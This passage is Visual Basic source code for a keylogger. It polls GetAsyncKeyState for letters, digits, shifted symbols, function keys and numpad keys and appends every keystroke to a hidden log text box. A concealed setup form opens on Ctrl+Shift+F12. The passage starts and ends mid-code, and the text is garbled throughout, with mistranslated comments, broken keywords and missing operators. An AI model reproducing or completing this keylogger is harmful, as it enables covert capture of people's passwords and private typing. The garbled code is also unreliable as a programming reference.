4 "End IfIf lngShift <> 0 And (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text " $ "End If 'digital recording and 5% number lngKeyState = GetAsyncKeyState (vbKey5) If lngShift = 0 And (lngKeyState And & H1) = & h1 TXTKEYLOG.TEXT = TXTKEYLOG.TEXT "5" end if if lngshift <> 0 and (lngKeyState and & H1) = & h1 TXTKEYLOG.TEXT = TXTKEYLOG.TEXT "%" end if 'record numbers 6 and ^ number lngKeyState = GetAsyncKeyState (vbKey6) If lngShift = 0 and (lngKeyState and & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "6" End IfIf lngShift <> 0 and (lngKeyState and & H1) = & H1 Then txtKeyLog. Text = txtKeyLog.Text "^" End If 'and 7 & recording digital number lngKeyState = GetAsyncKeyState (vbKey7) If lngShift = 0 and (lngKeyState and & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "7" End IfIf lngShift <> 0 and (lngKeyState and & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "&" End If '* and recording the digital number 8 lngKeyState = GetAsyncKeyState (vbKey8) If lngShift = 0 and (lngKeyState and & H1) = & H1 TXTKEYLOG.TEXT = TXTKEYLOG.TEXT "8" end i fIf lngShift <> 0 And (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "*" End If 'digital recording and 9 (number lngKeyState = GetAsyncKeyState (vbKey9) If lngShift = 0 And (lngKeyState And & H1) = & H1 TXTKEYLOG.TEXT = TXTKEYLOG.TEXT "9" end ifif lngshift <> 0 and (lngKeyState and & H1) = & h1 THEN TXTKEYLOG.TEXT = TXTKEYLOG.TEXT "
( "End If '0 and recording digital) No. lngKeyState = GetAsyncKeyState (vbKey0) If lngShift = 0 And (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text " 0 "End IfIf lngShift <> 0 And (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text ")" End If 'recording backspace lngKeyState = GetAsyncKeyState (vbKeyBack) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{backSpace } "End If 'recording Tab key lngKeyState = GetAsyncKeyState (vbKeyTab) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text " {Tab} "End If' ENTER recording lngKeyState = GetAsyncKeyState (vbKeyReturn) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text vbCrLfEnd If 'Shift key recording lngKeyState = GetAsyncKeyState (vbKeyShift) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{Shift}" End If 'Ctrl key recording lngKeyState = GetAsyncKeyState (vbKeyControl) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{Ctrl}" End If' Alt key recording lngKeyState = GetAsyncKeyState (vbKeyMenu ) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{Alt}" End If 'Pause recording lngKeyState = GetAsyncKeyState (vbKeyPause) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog. TEXT "{pause}" end if 'record exit key LNGKEYSTATE = GetasyncKeyState (VBEYESCAPE) IF (LNGKEYSTATE AND & H1) = & H1 TXTKEYLOG.TEXT = txtKeylog.Text "{ESC}" End IF'
Recording spacebar lngKeyState = GetAsyncKeyState (vbKeySpace) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "" End If 'records the End key lngKeyState = GetAsyncKeyState (vbKeyEnd) If (lngKeyState And & H1) = & H1 Then txtKeyLog .Text = txtKeyLog.Text "{End}" End If 'Home key recording lngKeyState = GetAsyncKeyState (vbKeyHome) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{Home}" End If' record left direction lngKeyState = GetAsyncKeyState (vbKeyLeft) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{left}" End If 'recording direction right lngKeyState = GetAsyncKeyState (vbKeyRight) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{Right}" on End If 'recording direction key lngKeyState = GetAsyncKeyState (vbKeyUp) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{Up}" End If 'the recording direction key lngKeyState = GetAsyncKeyState (vbKeyDown) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{Down}" End If' insert record button lngKeyState = GetAsyncKeyState (vbKeyInsert) If (lngKe yState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{Insert}" End If 'cancel key recording lngKeyState = GetAsyncKeyState (vbKeyDelete) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text " {Delete} "End If 'records; and number: number lngKeyState = GetAsyncKeyState (& HBA) If lngShift = 0 and (lngKeyState and & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "; "End IfIf lngShift <>
0 And (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text ":" End If 'record = number and the lngKeyState = GetAsyncKeyState (& HBB) If lngShift = 0 And (lngKeyState And & H1) = & H1 Then txtKeyLog .Text = txtKeyLog.Text "=" End IfIf lngShift <> 0 and (lngKeyState and & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text " " End If 'record number and
End If 'record' number and ~ number lngKeyState = GetAsyncKeyState (& HC0) If lngShift = 0 And (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "` "End IfIf lngShift <> 0 And (lngKeyState And & H1 ) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "~" End If 'recording [{number and number lngKeyState = GetAsyncKeyState (& HDB) If lngShift = 0 and (lngKeyState and & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "] [" End IfIf lngShift <> 0 and (lngKeyState and & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{" End If 'recording and / | lngKeyState = GetAsyncKeyState (& HDC) If lngShift = 0 and ( lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "/" End IfIf lngShift <> 0 And (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "|" End If 'record] No. and} number lngKeyState = GetAsyncKeyState (& HDD) If lngShift = 0 and (lngKeyState and & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "]" End IfIf lngShift <> 0 and (lngKeyState and & H1) = & H1 Then txtKeyLog. Text = txtKeylog.text "}" End if 'record' number and "LNGKEYSTATE = G etAsyncKeyState (& HDE) If lngShift = 0 And (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text " '" End IfIf lngShift <> 0 And (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text CHR $ (34) end if 'record * LNGKEYSTATE = GetasyncKeyState (VBKEYMULTIPLY) IF (LNGKEYSTATE AND & H1) = &
H1 Then txtKeyLog.Text = txtKeyLog.Text "*" End If 'recording / number lngKeyState = GetAsyncKeyState (vbKeyDivide) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "/" End If' Record No. lngKeyState = GetAsyncKeyState (vbKeyAdd) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text " " End If 'recording - No. lngKeyState = GetAsyncKeyState (vbKeySubtract) If (lngKeyState And & H1) = & H1 Then txtKeyLog. Text = txtKeyLog.Text "-" End If 'Del key recording lngKeyState = GetAsyncKeyState (vbKeyDecimal) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{Del}" End If' F1 key recording lngKeyState = GetAsyncKeyState (vbKeyF1) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{F1}" End If 'recording F2 key lngKeyState = GetAsyncKeyState (vbKeyF2) If (lngKeyState And & H1) = & H1 Then txtKeyLog. Text = txtKeyLog.Text "{F2}" End If 'recording F3 key lngKeyState = GetAsyncKeyState (vbKeyF3) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{F3}" End If' recording F4 Key LngKeys tate = GetAsyncKeyState (vbKeyF4) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{F4}" End If 'recording F5 key lngKeyState = GetAsyncKeyState (vbKeyF5) If (lngKeyState And & H1) = & H1 Then txtKeyLog .Text = txtKeylog.text "{f5}" end if 'record F6 key lngKeyState = getasynckeystate (vb readyf6) IF (LNGKEYSTATE AND & H1) = & h1 TxtKeylog.Text = txtKeylog.Text
"{F6}" End If 'recording F7 key lngKeyState = GetAsyncKeyState (vbKeyF7) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{F7}" End If' F8 key recording lngKeyState = GetAsyncKeyState (vbKeyF8 ) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{F8}" End If 'recording F9 key lngKeyState = GetAsyncKeyState (vbKeyF9) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog. Text "{F9}" End If 'F10 key recording lngKeyState = GetAsyncKeyState (vbKeyF10) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{F10}" End If' F11 key recording lngKeyState = GetAsyncKeyState (vbKeyF11) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{F11}" End If 'record F12 key lngKeyState = GetAsyncKeyState (vbKeyF12) If lngShift = 0 And (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{F12}" End if 'when pressing Ctrl Shift F12 event of a system setup screen if lngShift <> 0 And GetAsyncKeyState (vbKeyControl) And (lngKeyState And & H1) = & H1 Then frmMain. Visible = truendiff 'Recording the NumLock lngKeyState = GetAsyncKeyState (vbKeyNumlock) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{NumLock}" End If' recording ScrollLock key lngKeyState = GetAsyncKeyState (vbKeyScrollLock) If (lngKeyState And & H1) = & H1 TXTKEYLOG.TEXT = TXTKEYLOG.TEXT "{scrollock}" end if 'records PrintScreen key LNGKEYSTATE = GetasyncKeyState (VBKEYSTATE AND & H1) = &
H1 Then txtKeyLog.Text = txtKeyLog.Text "{PrintScreen}" End If 'recording PageUp key lngKeyState = GetAsyncKeyState (vbKeyPageUp) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{PageUp}" End If 'recording PageDown key lngKeyState = GetAsyncKeyState (vbKeyPageDown) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "{PageDown}" End If' recording digital keypad 1lngKeyState = GetAsyncKeyState (vbKeyNumpad1) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "1" End If 'recording digital keypad 2lngKeyState = GetAsyncKeyState (vbKeyNumpad2) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "2" End If 'recording digital keypad 3lngKeyState = GetAsyncKeyState (vbKeyNumpad3) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "3" End If' recording digital keypad 4lngKeyState = GetAsyncKeyState (vbKeyNumpad4) If (lngKeyState And & H1 ) = & H1 TXTKEYLOG.TEXT = TXTKEYLOG.TEXT "4" End if 'records 5LngKeyState = getasyncKeyState (VBKEYNUMPAD5) i f (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "5" End If 'recording digital keypad 6lngKeyState = GetAsyncKeyState (vbKeyNumpad6) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "6" End If 'recording digital keypad 7lngKeyState = GetAsyncKeyState (vbKeyNumpad7) If (lngKeyState And & H1) = & H1 Then txtKeyLog.Text = txtKeyLog.Text "7" End If' = numeric keypad recording 8lngKeyState